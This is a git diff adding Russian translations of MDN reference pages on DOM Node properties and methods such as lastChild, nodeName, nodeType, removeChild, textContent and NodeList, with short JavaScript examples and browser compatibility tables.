Базовая поддержка{{CompatUnknown}}Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.
+ Удалено в {{CompatGeckoDesktop("22.0")}} [1]		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("21.0")}}.
+ Удалено в {{CompatGeckoMobile("22.0")}} [1]		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Gecko-специфичные замечания

+ +

[1] Начиная с Gecko 19.0 {{geckoRelease("19.0")}} этот метод всегда будет возвращать true ({{bug("801425")}}) и начиная с Gecko 22.0 {{geckoRelease("22.0")}} этот метод был удален.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/node/lastchild/index.html b/files/ru/web/api/node/lastchild/index.html new file mode 100644 index 0000000000..6c0f0d9722 --- /dev/null +++ b/files/ru/web/api/node/lastchild/index.html @@ -0,0 +1,32 @@ +--- +title: Node.lastChild +slug: Web/API/Node/lastChild +translation_of: Web/API/Node/lastChild +--- +

{{ ApiRef() }}

+ +

Основная информация

+ +

lastChild возвращает последнего потомка в узле.

+ +

Синтаксис

+ +
var last_child = element.lastChild
+
+ +

Описание

+ +

Возвращаемый элемент last_child является узлом. Если его родитель является элементом, то возвращаемый узел является узлом типа Элемент, Текст, или же узлом комментария. Если в опрашиваемом узле нет дочерних элементов, lastChild возвращает null .

+ +

Пример

+ +
var tr = document.getElementById("row1");
+var corner_td = tr.lastChild;
+
+ +

Спецификация

+ + diff --git a/files/ru/web/api/node/localname/index.html b/files/ru/web/api/node/localname/index.html new file mode 100644 index 0000000000..2942a8fa66 --- /dev/null +++ b/files/ru/web/api/node/localname/index.html @@ -0,0 +1,80 @@ +--- +title: Node.localName +slug: Web/API/Node/localName +translation_of: Web/API/Node/localName +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.localName только для чтения, возвращает локальную часть полного имени этого узла.

+ +

Синтаксис

+ +
name = element.localName
+
+ + + +

Пример

+ +

(Должен быть обработан с XML типом содержимого, таким как text/xml или application/xhtml+xml.)

+ +
<html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg">
+<head>
+  <script type="application/javascript"><![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "<svg:circle> has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]></script>
+</head>
+<body onload="test()">
+  <svg:svg version="1.1"
+    width="100px" height="100px"
+    viewBox="0 0 100 100">
+    <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/>
+  </svg:svg>
+  <textarea id="text" rows="4" cols="55"/>
+</body>
+</html>
+
+ +

Примечания

+ +

Локальное имя узла, является полным именем узла, которое идет после двоеточия. Полное имя, как правило, используется как часть пространства имен для конкретных XML документов. Например, полное имя ecomm:partners, partners это локальное имя и ecomm это префикс:

+ +
<ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm">
+  <ecomm:partners>
+    <ecomm:partner id="1001">Tony's Syrup Warehouse
+    </ecomm:partner>
+  </ecomm:partner>
+</ecomm:business>
+
+ + +
+

Примечание: В {{Gecko("1.9.2")}} и ранее, свойство возвращает версию локального имени в верхнем регистре для HTML элементов в HTML DOMs (в отличии от XHTML элементов в XML DOMs). В более поздних версиях, в соответствии с HTML5, свойство возвращает, в случае внутреннего хранилища DOM, в нижнем регистре для HTML элементов в HTML DOMs и XHTML элементов в XML DOMs. {{domxref("element.tagName","tagName")}} свойство продолжает возвращать в верхнем регистре для HTML элементов в HTML DOMs.

+
+ +

Для узла другово типа отличного от ELEMENT_NODE и ATTRIBUTE_NODE localName всегда null.

+ +

Спецификации

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/node/lookupnamespaceuri/index.html b/files/ru/web/api/node/lookupnamespaceuri/index.html new file mode 100644 index 0000000000..10899ce8ae --- /dev/null +++ b/files/ru/web/api/node/lookupnamespaceuri/index.html @@ -0,0 +1,18 @@ +--- +title: Node.lookupNamespaceURI() +slug: Web/API/Node/lookupNamespaceURI +translation_of: Web/API/Node/lookupNamespaceURI +--- +
{{APIRef("DOM")}}
+ +

Метод Node.lookupNamespaceURI() берет префикс и возвращает пространство имен URI связанное с ним в данном узле, если найден (и null если нет). Устанавливает null для префикса который возвращает пространство имен по умолчанию.

+ +

Из-за ошибки bug 312019, этот метод не работает с динамическим назначением пространства имен (т.е., с уставленным тем же Node.prefix).

+ +

Смотрите также

+ + + +

 

diff --git a/files/ru/web/api/node/lookupprefix/index.html b/files/ru/web/api/node/lookupprefix/index.html new file mode 100644 index 0000000000..10a92d81af --- /dev/null +++ b/files/ru/web/api/node/lookupprefix/index.html @@ -0,0 +1,16 @@ +--- +title: Node.lookupPrefix() +slug: Web/API/Node/lookupPrefix +translation_of: Web/API/Node/lookupPrefix +--- +
{{APIRef("DOM")}}
+ +

Метод Node.lookupPrefix() возвращает {{domxref("DOMString")}} содержащий префикс для данного пространства имен URI, если он присутствует, и null если нет. Когда возможно присутствие нескольких префиксов, результат зависит от реализации.

+ +

Из-за ошибки bug 312019, этот метод не работает с динамическим назначением пространства имен, которое установлено с тем же свойством {{domxref("Node.prefix")}}.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/node/namespaceuri/index.html b/files/ru/web/api/node/namespaceuri/index.html new file mode 100644 index 0000000000..4e4c75e59e --- /dev/null +++ b/files/ru/web/api/node/namespaceuri/index.html @@ -0,0 +1,45 @@ +--- +title: Node.namespaceURI +slug: Web/API/Node/namespaceURI +translation_of: Web/API/Node/namespaceURI +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.namespaceURI только для чтения, возвращает пространство имен URI узла или null, если узел не находится в пространстве имен (только для чтения). Хотя узел документа, возвращает пространство имен XML для текущего документа.

+ +

Синтаксис

+ +
namespace = node.namespaceURI
+ +

Пример

+ +

В этом снипнете, узел рассматривается для его localName и его namespaceURI. Если namespaceURI возвращает XUL пространство имен и localName возвращая "browser", затем узел XUL согласует <browser/>.

+ +
if (node.localName == "browser" &&
+    node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // this is a XUL browser
+}
+ +

Примечание

+ +

Это не вычисленное значение, которое является результатом поиска имен на основе проверки декларации в области пространства имен. Пространство имен URI узла заморожена в момент создания узла.

+ +

В Firefox 3.5 и выше, пространство имен URI для HTML элементов в HTML документах это null. В более поздних версиях, в соответствии с HTML5, это http://www.w3.org/1999/xhtml как в XHTML. {{gecko_minversion_inline("1.9.2")}}

+ +

Для узлов любого nodeType кроме ELEMENT_NODE и ATTRIBUTE_NODE значение namespaceURI всегда null.

+ +

Вы можите создать элемент с конкретным namespaceURI используйте метод DOM Level 2 document.createElementNS.

+ +

Через пространство имен в XML спецификации, атрибуты не наследуют пространство имен для элемента к которому он прикреплен. Если у атрибута не задано явно пространство имен, он не имеет пространства имен.

+ +

DOM не обрабатывает или не вынуждает проверять пространство имен как таковое. Приложения выше DOM, делают необходимые проверки. Отметим также, что префикс пространства имен, когда он связан с конкретным узлом, не может быть изменен.

+ +

Спецификации

+ + diff --git a/files/ru/web/api/node/nextsibling/index.html b/files/ru/web/api/node/nextsibling/index.html new file mode 100644 index 0000000000..cc874be72e --- /dev/null +++ b/files/ru/web/api/node/nextsibling/index.html @@ -0,0 +1,83 @@ +--- +title: Node.nextSibling +slug: Web/API/Node/nextSibling +tags: + - API + - DOM + - Gecko + - Node + - Property + - Свойство + - Узел + - Узлы +translation_of: Web/API/Node/nextSibling +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.nextSibling используется только для чтения и возвращает узел, непосредственно следующий за данным узлом в списке  {{domxref("Node.childNodes","childNodes")}} его родительского элемента, или null если данный узел последний в этом списке.

+ +

Синтаксис

+ +
nextNode = node.nextSibling
+
+ +

Заметки

+ +

Браузеры, основанные на Gecko, вставляют текстовые узлы в документ для представления пробелов в разметке. + Поэтому узел, полученный, например, при использовании Node.firstChild или Node.previousSibling может относиться к + пробелу, а не к тому элементу, который автор хотел получить.

+ +

Смотрите Пробел в DOM и + W3C DOM 3 FAQ: Почему некоторые текстовые узлы пустые? + для дополнительной информации.

+ +

Пример

+ +
<div id="div-01">Вот div-01</div>
+<div id="div-02">Вот div-02</div>
+
+<script type="text/javascript">
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Потомки div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+</script>
+
+/**************************************************
+  Следующий пример напишет в консоль:
+
+     Потомки div-01:
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+
+ +

В приведенном выше примере вы можете видеть, что #text узлы вставляются в DOM, где между тегами встречаются пробелы (т.е. после закрывающего тега элемента и до открывающего тега рядом). Не создается пробелов между элементами, вставленных с помощью document.write

+ +

Возможность включения текстовых узлов в DOM должна быть разрешена, когда DOM обходится с помощью nextSibling. Смотрите раздел "Заметки".

+ +

Спецификации

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/node/nodename/index.html b/files/ru/web/api/node/nodename/index.html new file mode 100644 index 0000000000..36962d050a --- /dev/null +++ b/files/ru/web/api/node/nodename/index.html @@ -0,0 +1,104 @@ +--- +title: Node.nodeName +slug: Web/API/Node/nodeName +translation_of: Web/API/Node/nodeName +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.nodeName только для чтения, возвращающие имя текущего узла в виде строки.

+ +

Возвращаемое значение для различных типов узлов:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Интерфейсзначение nodeName
{{domxref("Attr")}}Значение {{domxref("Attr.name")}}
{{domxref("CDATASection")}}"#cdata-section"
{{domxref("Comment")}}"#comment"
{{domxref("Document")}}"#document"
{{domxref("DocumentFragment")}}"#document-fragment"
{{domxref("DocumentType")}}Значение {{domxref("DocumentType.name")}}
{{domxref("Element")}}Значение {{domxref("Element.tagName")}}
{{domxref("Entity")}}имя сущности
{{domxref("EntityReference")}}Имя сущности ссылки
{{domxref("Notation")}}Название обозначения
{{domxref("ProcessingInstruction")}} +

Значение {{domxref("ProcessingInstruction.target")}}

+
{{domxref("Text")}}"#text"
+ +

Синтаксис

+ +
var str = node.nodeName;
+
+ +

Пример

+ +

Учитывая следующую разметку:

+ +
<div id="d1">hello world</div>
+<input type="text" id="t"/>
+
+ +

и следующий скрипт:

+ +
var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+
+text_field.value = div1.nodeName;
+
+ +

В XHTML (или любых других форматов XML), значение text_field будет прочитано как "div". Тем не мение, в HTML, значение text_field будет прочитано  как "DIV", потому что nodeName и tagName возвращают в верхнем регистре элементы HTML в DOM помеченом как HTML документ. Узнайте больше деталей о чувствительности регистра nodeName в различных браузерах.

+ +

Обратите внимание, что свойство tagName можно было бы использовать вместо него, поскольку nodeName имеет тоже значение что и tagName для элемента. Однако имейте в виду, что nodeName будет возвращать #text для текстого узла, в то время как tagName будет возвращать undefined.

+ +

Спецификации

+ + diff --git a/files/ru/web/api/node/nodeprincipal/index.html b/files/ru/web/api/node/nodeprincipal/index.html new file mode 100644 index 0000000000..7f654f83f4 --- /dev/null +++ b/files/ru/web/api/node/nodeprincipal/index.html @@ -0,0 +1,28 @@ +--- +title: Node.nodePrincipal +slug: Web/API/Node/nodePrincipal +translation_of: Web/API/Node +--- +
+
{{APIRef("DOM")}}
+{{Non-standard_header}} + +

Свойство Node.nodePrincipal только для чтения, возвращающее объект {{Interface("nsIPrincipal")}}, представляющий текущий контекст безопасности узла.

+ +

{{Note("Это свойство существует во всех узлах (HTML, XUL, SVG, MathML, и т.д.), но только если скрипт пытается использовать chrome привилегии.")}}

+ +

Синтаксис

+ +
principalObj = element.nodePrincipal
+
+ +

Примечания

+ +

Это свойство только для чтения; пытаясь вводить информацию в него, будет сбрасывать исключение.Кроме того, это свойство может быть доступно только для привилегированного кода.

+ +

Спецификация

+ +

Нет никакой спецификации.

+
+ +

 

diff --git a/files/ru/web/api/node/nodetype/index.html b/files/ru/web/api/node/nodetype/index.html new file mode 100644 index 0000000000..607596cc83 --- /dev/null +++ b/files/ru/web/api/node/nodetype/index.html @@ -0,0 +1,93 @@ +--- +title: Node.nodeType +slug: Web/API/Node/nodeType +translation_of: Web/API/Node/nodeType +--- +
+
{{APIRef("DOM")}}
+
+ +

Доступное только для чтения свойство Node.nodeType возвращает беззнаковое короткое целочисленное значение, представляющее тип узла.

+ +

Синтаксис

+ +
var type = node.nodeType;
+
+ +

type – беззнаковое короткое целочисленное значение с одним из следующих значений:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameValue
ELEMENT_NODE1
ATTRIBUTE_NODE {{deprecated_inline()}}2
TEXT_NODE3
CDATA_SECTION_NODE {{deprecated_inline()}}4
ENTITY_REFERENCE_NODE {{deprecated_inline()}}5
ENTITY_NODE {{deprecated_inline()}}6
PROCESSING_INSTRUCTION_NODE7
COMMENT_NODE8
DOCUMENT_NODE9
DOCUMENT_TYPE_NODE10
DOCUMENT_FRAGMENT_NODE11
NOTATION_NODE {{deprecated_inline()}}12
+ +

Пример

+ +

В примере проверяется, является ли первый узел внутри documentElement узлом комментария, если нет, то выводится сообщение.

+ +
var node = document.documentElement.firstChild;
+if (node.nodeType != Node.COMMENT_NODE)
+  console.log("You should comment your code well!");
+
+ +

Спецификация

+ + diff --git a/files/ru/web/api/node/nodevalue/index.html b/files/ru/web/api/node/nodevalue/index.html new file mode 100644 index 0000000000..62655c1875 --- /dev/null +++ b/files/ru/web/api/node/nodevalue/index.html @@ -0,0 +1,86 @@ +--- +title: Node.nodeValue +slug: Web/API/Node/nodeValue +translation_of: Web/API/Node/nodeValue +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.nodeValue возвращает или устанавливает значение текущего узла.

+ +

Синтаксис

+ +
value = node.nodeValue;
+
+ +

value это строка содержащая значение текущего узла, если таковой имеется.

+ +

Примечания

+ +

Для самого документа, nodeValue возвращает null. Для текста, коментария и CDATA узлов, nodeValue возвращает содержимое узла. Для узла атрибута, вернется значение атрибута.

+ +

Следующая таблица, показывает возвращаемые значения различных элементов:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttrЗначение атрибута
CDATASectionСодержимое секции CDATA
CommentСодержимое комментария
Documentnull
DocumentFragmentnull
DocumentTypenull
Elementnull
NamedNodeMapnull
EntityReferencenull
Notationnull
ProcessingInstructionВсе содержимое исключая цель
TextСодержимое текстового узла
+ +

Когда nodeValue равно null, установки не имеют эффекта.

+ +

Спецификация

+ + diff --git a/files/ru/web/api/node/normalize/index.html b/files/ru/web/api/node/normalize/index.html new file mode 100644 index 0000000000..03c5d9e044 --- /dev/null +++ b/files/ru/web/api/node/normalize/index.html @@ -0,0 +1,43 @@ +--- +title: Node.normalize() +slug: Web/API/Node/normalize +translation_of: Web/API/Node/normalize +--- +
+
{{APIRef("DOM")}}
+
+ +

Метод Node.normalize() преобразует указанный узел и все его под-деревья в "нормализованный" вид. В нормализованном под-дереве нет ни пустых, ни смежных текстовых узлов.

+ +

Синтаксис

+ +
element.normalize();
+
+ +

Пример

+ +
var wrapper = document.createElement("div");
+
+wrapper.appendChild( document.createTextNode("Part 1 ") );
+wrapper.appendChild( document.createTextNode("Part 2 ") );
+
+// At this point, wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+
+// Now, wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2 "
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/node/ownerdocument/index.html b/files/ru/web/api/node/ownerdocument/index.html new file mode 100644 index 0000000000..5c0fa52e58 --- /dev/null +++ b/files/ru/web/api/node/ownerdocument/index.html @@ -0,0 +1,94 @@ +--- +title: Node.ownerDocument +slug: Web/API/Node/ownerDocument +translation_of: Web/API/Node/ownerDocument +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.ownerDocument только для чтения, возвращающее объект документа верхнего уровня для этого узла.

+ +

Синтаксис

+ +
document = element.ownerDocument
+
+ + + +

Пример

+ +
// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+
+ +

Примечание

+ +

Объект document, возвращаемый этим свойством, это основной объект с которым все дочерние узлы в настоящем  HTML документе созданы. Если это свойство используется для узла самого документа, результат будет null.

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}6.0 [1]{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx

+ +

Gecko примечание

+ +

Начиная с Gecko 9.0 {{geckoRelease("9.0")}}, ownerDocument узлы doctype (т.е. для которых {{domxref("Node.nodeType")}} это Node.DOCUMENT_TYPE_NODE или 10) больше не null. Вместо этого,  ownerDocument это документ по которому document.implementation.createDocumentType() будет вызван.

+ +

Спецификация

+ + diff --git a/files/ru/web/api/node/parentelement/index.html b/files/ru/web/api/node/parentelement/index.html new file mode 100644 index 0000000000..da4c085552 --- /dev/null +++ b/files/ru/web/api/node/parentelement/index.html @@ -0,0 +1,86 @@ +--- +title: Node.parentElement +slug: Web/API/Node/parentElement +translation_of: Web/API/Node/parentElement +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.parentElement только для чтения, возвращает родителя узла DOM {{domxref("Element")}}, или null если узел не имеет родителя, или его родитель не DOM {{domxref("Element")}}.

+ +

Синтаксис

+ +
parentElement = node.parentElement
+ +

parentElement это родительский элемент текущего узла. Это всегда объект DOM {{domxref("Element")}}, или null.

+ +

Пример

+ +
if (node.parentElement) {
+    node.parentElement.style.color = "red";
+}
+ +

Совместимость с браузерами

+ +

В некоторых браузерах, свойство parentElement определено только для узлов, которые сами {{domxref("Element")}}. В частности, не определено для текстовых узлов.

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая подержка{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}{{CompatVersionUnknown}} (only on {{domxref("Element")}}){{CompatVersionUnknown}} (only on {{domxref("Element")}}){{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/node/parentnode/index.html b/files/ru/web/api/node/parentnode/index.html new file mode 100644 index 0000000000..139880247f --- /dev/null +++ b/files/ru/web/api/node/parentnode/index.html @@ -0,0 +1,102 @@ +--- +title: Node.parentNode +slug: Web/API/Node/parentNode +tags: + - API + - DOM + - Method +translation_of: Web/API/Node/parentNode +--- +
{{ApiRef}}
+ +

Аннотация

+ +

Возвращает родителя определенного элемента DOM дерева.

+ +

Синтаксис

+ +
parentNode = node.parentNode
+
+ +

parentNode родитель текущего элемента. Родитель элемента является Element узлом, Document узлом, или DocumentFragment узлом.

+ +

Пример

+ +
if (node.parentNode) {
+  // удаляем элемент из дерева
+  node.parentNode.removeChild(node);
+}
+ +

Примечание

+ +

Document и DocumentFragment nodes могут не иметь родителя, в этом случае parentNode всегда возвращает null.

+ +

Так же возвращает null если элемент только был создан и еще не добавлен в DOM дерево.

+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(1.0)}}0.2{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Спецификация

+ + + +

См. также

+ + diff --git a/files/ru/web/api/node/prefix/index.html b/files/ru/web/api/node/prefix/index.html new file mode 100644 index 0000000000..f0db5aa76f --- /dev/null +++ b/files/ru/web/api/node/prefix/index.html @@ -0,0 +1,90 @@ +--- +title: Node.prefix +slug: Web/API/Node/prefix +translation_of: Web/API/Node/prefix +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.prefix только для чтения, возвращающее префикс пространства имен указанного узла или null, если не указан префикс. Это свойство только для чтения.

+ +

Синтаксис

+ +
string = element.prefix
+
+ +

Пример

+ +

Следующее выражение выведет "x".

+ +
<x:div onclick="alert(this.prefix)"/>
+
+ +

Примечание

+ +

Это будет работать только когда используется соответствующий парсер пространства имен. т.е. когда документ обработан как XML mime-type. Это не будет роботать для документов HTML.

+ +

Спицификация

+ + + +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatUnknown}} +

{{CompatVersionUnknown}}

+ +

До Gecko 5.0 {{geckoRelease("5.0")}}, это свойство было для чтения-записи; Специфифкация говорит что должно быть, толко для чтения и теперь это так.

+ 		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}} +

{{CompatVersionUnknown}}

+ +

До Gecko 5.0 {{geckoRelease("5.0")}}, это свойство было для чтения-записи; Спецификация говорит, что должно быть только для чтения и теперь это так.

+ 		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/node/previoussibling/index.html b/files/ru/web/api/node/previoussibling/index.html new file mode 100644 index 0000000000..7da55e04c3 --- /dev/null +++ b/files/ru/web/api/node/previoussibling/index.html @@ -0,0 +1,51 @@ +--- +title: Node.previousSibling +slug: Web/API/Node/previousSibling +tags: + - API + - DOM + - Gecko + - Property + - Свойство + - Узел + - Узлы +translation_of: Web/API/Node/previousSibling +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.previousSibling используется только для чтения, оно возвращает узел предшедствующий указанному в родительском элементе {{domxref("Node.childNodes", "childNodes")}}, или null,  если указанный узел первый в своём родителе.

+ +

Синтаксис

+ +
previousNode = node.previousSibling;
+
+ +

Пример

+ +
// <a><b1 id="b1"/><b2 id="b2"/></a>
+
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+
+ +

Примечание

+ +

Браузеры, основанные на Gecko, вставляют текстовые узлы в документ для представления пробелов в разметке. + Поэтому узел, полученный, например, при использовании Node.firstChild или Node.previousSibling может относиться к + пробелу, а не к тому элементу, который автор хотел получить.

+ +

Смотрите Пробел в DOM и + W3C DOM 3 FAQ: Почему некоторые текстовые узлы пустые? + для дополнительной информации.

+ +

Для навигации через список дочерних узлов в обратном порядке используйте Node.nextSibling.

+ +

Спецификация

+ + diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html new file mode 100644 index 0000000000..738dadbaa6 --- /dev/null +++ b/files/ru/web/api/node/removechild/index.html @@ -0,0 +1,76 @@ +--- +title: Node.removeChild +slug: Web/API/Node/removeChild +tags: + - API + - DOM + - DOM Element Methods + - Method +translation_of: Web/API/Node/removeChild +--- +
{{ApiRef}}
+ +

Аннотация

+ +

Удаляет дочерний элемент из DOM. Возвращает удаленный элемент.

+ +

Синтаксис

+ +
var oldChild = element.removeChild(child);
+element.removeChild(child);
+
+ + + +

Удаленный дочерний элемент остается в памяти, но больше не является частью DOM. Вы можете повторно использовать удаленный элемент с помощью ссылки на объект - oldChild.

+ +

Если child не является дочерним элементом element, тогда метод генерирует исключение. Также это происходит если child является дочерним элементом element во время вызова метода, но был удален во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).

+ +

Пример

+ +
<!-- Пример -->
+
+<div id="top" align="center">
+  <div id="nested"></div>
+</div>
+
+ +
// Удаление элемента с известным родителем
+var d = document.getElementById("top");
+var d_nested = document.getElementById("nested");
+var throwawayNode = d.removeChild(d_nested);
+
+ +
// Удаление элемента без указания его родителя
+var node = document.getElementById("nested");
+if (node.parentNode) {
+  node.parentNode.removeChild(node);
+}
+
+ +
// Удаление всех дочерних элементов
+var element = document.getElementById("top");
+while (element.firstChild) {
+  element.removeChild(element.firstChild);
+}
+
+ +

Спецификация

+ + + +

См. также

+ + diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html new file mode 100644 index 0000000000..479fae01e3 --- /dev/null +++ b/files/ru/web/api/node/textcontent/index.html @@ -0,0 +1,123 @@ +--- +title: Node.textContent +slug: Web/API/Node/textContent +tags: + - API + - Command API + - DOM + - Node + - Property + - Reference +translation_of: Web/API/Node/textContent +--- +

{{ApiRef}}

+ +

Аннотация

+ +

Позволяет задавать или получать текстовое содержимое элемента и его потомков.

+ +

Синтаксис

+ +
var text = element.textContent;
+element.textContent = "Это просто текст";
+
+ +

Описание

+ + + +

Отличие от innerText

+ +

element.innerText был введен Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:

+ + + +

Отличие от innerHTML

+ +

innerHTML, как можно понять из его названия, возвращает HTML. Довольно часто innerHTML используется для получения или записи текста в элемент. Тем не менее, вместо него желательно использовать textContent: этот метод потребляет гораздо меньше ресурсов, так как текст парсится как текст, а не HTML. Кроме того, это защищает от XSS атак.

+ +

Пример

+ +
// Дан следующий фрагмент:
+//   <div id="block">Это — <span>просто</span> текст</div>
+
+// Достаем текстовое содержимое:
+var text = document.getElementById("block").textContent;
+// В переменной |text| находится: "Это — просто текст".
+
+// Меняем текст:
+document.getElementById("block").textContent = "Это — просто текст";
+// Теперь наш фрагмент выглядит так:
+//   <div id="block">Это — просто текст</div>
+
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1+{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html new file mode 100644 index 0000000000..3deb328f99 --- /dev/null +++ b/files/ru/web/api/nodelist/index.html @@ -0,0 +1,144 @@ +--- +title: NodeList +slug: Web/API/NodeList +tags: + - API + - DOM + - Interface + - NodeList +translation_of: Web/API/NodeList +--- +
{{APIRef("DOM")}}
+ +

Объект NodeList — это коллекция узлов, возвращаемая такими методами, как {{domxref("Node.childNodes")}} и {{domxref("document.querySelectorAll")}}.

+ +
+

Несмотря на то, что NodeList не является массивом ( Array ), его вполне возможно перебрать при помощи метода forEach(). NodeList также можно конвертировать в Array при помощи {{jsxref("Array.from()")}}

+ +

Однако некоторые старые браузеры на данный момент все еще не поддерживают NodeList.forEach() или Array.from(). Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).

+
+ +

Свойства

+ +
+
length
+
Количество элементов в NodeList.
+
+ +

Методы

+ +
+
item ( idx )
+
Возвращает элемент из списка по его индексу или null, если индекс выходит за границы допустимого диапазона. Может быть использован как альтернатива nodeList[idx], возвращающему undefined при недопустимом idx.
+
entries()
+
Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все пары ключ/значение, содержащиеся в обьекте.
+
forEach()
+
Выполняет указанную функцию один раз для каждого элемента NodeList
+
keys()
+
Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все ключи каждой пары ключ/значение, содержащейся в обьекте.
+
values()
+
Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все значения каждой пары ключ/значение, содержащейся в обьекте.
+
 
+
+ +

Описание

+ +

Динамическая коллекция

+ +

В определённых случаях NodeList может являться динамической коллекцией. Это означает, что любые изменения в DOM тут же отражаются на коллекции. Примером подобной коллекции является {{domxref("Node.childNodes")}}:

+ +
var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // пусть равно "2"
+parent.appendChild(document.createElement('div'));
